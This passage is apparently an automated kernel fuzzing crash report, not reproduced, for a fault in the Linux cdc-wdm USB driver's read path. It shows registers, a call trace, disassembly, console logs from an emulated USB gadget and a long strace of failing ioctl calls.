RDX: ffff888112d28000 RSI: ffff888112540000 RDI: ffffffff8b1c35d0
RBP: ffff88810ffb5090 R08: 0000000000000001 R09: 0000000000000000
R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000000
R13: ffff88810ffb52b8 R14: ffff88810ffb5050 R15: ffff88810ffb5050
FS: 00007f59984c56c0(0000) GS:ffff8882683e4000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 000000110c2d13ca CR3: 00000001149e4000 CR4: 00000000003506f0
Call Trace:
<TASK>
service_outstanding_interrupt.isra.0+0x166/0x270 drivers/usb/class/cdc-wdm.c:509
wdm_read+0x8a8/0xaf0 drivers/usb/class/cdc-wdm.c:615
vfs_read+0x1e4/0xb40 fs/read_write.c:572
ksys_read+0x12a/0x250 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
do_syscall_64+0x119/0x710 arch/x86/entry/syscall_64.c:84
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f5999aae159
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f59984c5028 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f5999d36180 RCX: 00007f5999aae159
RDX: 00000000000000b3 RSI: 0000200000000340 RDI: 000000000000001e
RBP: 00007f5999b45024 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f5999d36218 R14: 00007f5999d36180 R15: 00007ffc3efb3688
</TASK>
----------------
Code disassembly (best guess):
0: 00 48 8b add %cl,-0x75(%rax)
3: 04 24 add $0x24,%al
5: 48 8b 90 b0 00 00 00 mov 0xb0(%rax),%rdx
c: e9 70 ff ff ff jmp 0xffffff81
11: bb ed ff ff ff mov $0xffffffed,%ebx
16: e9 ac f1 ff ff jmp 0xfffff1c7
1b: e8 be 79 b2 fc call 0xfcb279de
20: 48 8d 3d d7 b6 19 06 lea 0x619b6d7(%rip),%rdi # 0x619b6fe
27: 48 89 de mov %rbx,%rsi
* 2a: 67 48 0f b9 3a ud1 (%edx),%rdi <-- trapping instruction
2f: bb f0 ff ff ff mov $0xfffffff0,%ebx
34: e9 8e f1 ff ff jmp 0xfffff1c7
39: c7 .byte 0xc7
3a: 44 24 30 rex.R and $0x30,%al
3d: 00 00 add %al,(%rax)
IsProbe: false
Reproduced: false
Console Output: [ 61.482052][ T33] kauditd_printk_skb: 10 callbacks suppressed
[ 61.482121][ T33] audit: type=1400 audit(1789165898.269:201): avc: denied { transition } for pid=5828 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.483760][ T33] audit: type=1400 audit(1789165898.269:202): avc: denied { noatsecure } for pid=5828 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.483780][ T33] audit: type=1400 audit(1789165898.269:203): avc: denied { rlimitinh } for pid=5828 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.483794][ T33] audit: type=1400 audit(1789165898.269:204): avc: denied { siginh } for pid=5828 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 64.443882][ T33] audit: type=1400 audit(1789165901.229:205): avc: denied { write } for pid=5834 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 64.482433][ T33] audit: type=1400 audit(1789165901.269:206): avc: denied { write } for pid=5838 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:21062' (ED25519) to the list of known hosts.
[ 64.907765][ T33] audit: type=1400 audit(1789165901.699:207): avc: denied { read write } for pid=5847 comm="syz-executor376" name="raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[+] Gadget initialized and running.
[ 64.908128][ T33] audit: type=1400 audit(1789165901.699:208): avc: denied { open } for pid=5847 comm="syz-executor376" path="/dev/raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 64.908388][ T33] audit: type=1400 audit(1789165901.699:209): avc: denied { ioctl } for pid=5847 comm="syz-executor376" path="/dev/raw-gadget" dev="devtmpfs" ino=824 ioctlcmd=0x5500 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 65.155911][ T5707] usb 1-1: new high-speed USB device number 2 using dummy_hcd
[ 65.281669][ T33] audit: type=1400 audit(1789165902.069:210): avc: denied { write } for pid=5852 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 66.457943][ T1382] ieee802154 phy0 wpan0: encryption failed: -22
[ 66.458006][ T1382] ieee802154 phy1 wpan1: encryption failed: -22
[ 67.004751][ T33] kauditd_printk_skb: 9 callbacks suppressed
[ 67.004817][ T33] audit: type=1400 audit(1789165903.789:220): avc: denied { write } for pid=5882 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.050346][ T33] audit: type=1400 audit(1789165903.839:221): avc: denied { write } for pid=5885 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.124625][ T33] audit: type=1400 audit(1789165903.909:222): avc: denied { write } for pid=5888 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 67.171582][ T33] audit: type=1400 audit(1789165903.959:223): avc: denied { write } for pid=5891 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 70.345385][ T5707] usb 1-1: device descriptor read/64, error -110
[ 70.585376][ T5707] usb 1-1: new high-speed USB device number 3 using dummy_hcd
[ 70.715378][ T5707] usb 1-1: device descriptor read/64, error -32
[ 70.825521][ T5707] usb usb1-port1: attempt power cycle
[ 71.105444][ T5707] raw-gadget.0 gadget.0: failed to queue resume event
[ 71.165367][ T5707] usb 1-1: new high-speed USB device number 4 using dummy_hcd
[ 71.185572][ C0] raw-gadget.0 gadget.0: ignoring, device is not running
[ 71.185712][ T5707] usb 1-1: device descriptor read/8, error -32
[ 71.295453][ T5707] raw-gadget.0 gadget.0: failed to queue suspend event
[ 71.295699][ T5707] raw-gadget.0 gadget.0: failed to queue reset event
[ 71.365464][ T5707] raw-gadget.0 gadget.0: failed to queue resume event
[ 71.425364][ T5707] usb 1-1: new high-speed USB device number 5 using dummy_hcd
[ 71.445552][ C0] raw-gadget.0 gadget.0: ignoring, device is not running
[ 71.445794][ T5707] usb 1-1: device descriptor read/8, error -32
[ 71.555409][ T5707] raw-gadget.0 gadget.0: failed to queue suspend event
[ 71.555723][ T5707] usb usb1-port1: unable to enumerate USB device
[ 76.701090][ T51] cfg80211: failed to load regulatory.db
[ 127.897672][ T1382] ieee802154 phy0 wpan0: encryption failed: -22
[ 127.899989][ T1382] ieee802154 phy1 wpan1: encryption failed: -22
[ 189.336856][ T1382] ieee802154 phy0 wpan0: encryption failed: -22
[ 189.339131][ T1382] ieee802154 phy1 wpan1: encryption failed: -22
[host] Command execution timed out after 2m30s
Strace Output: [pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
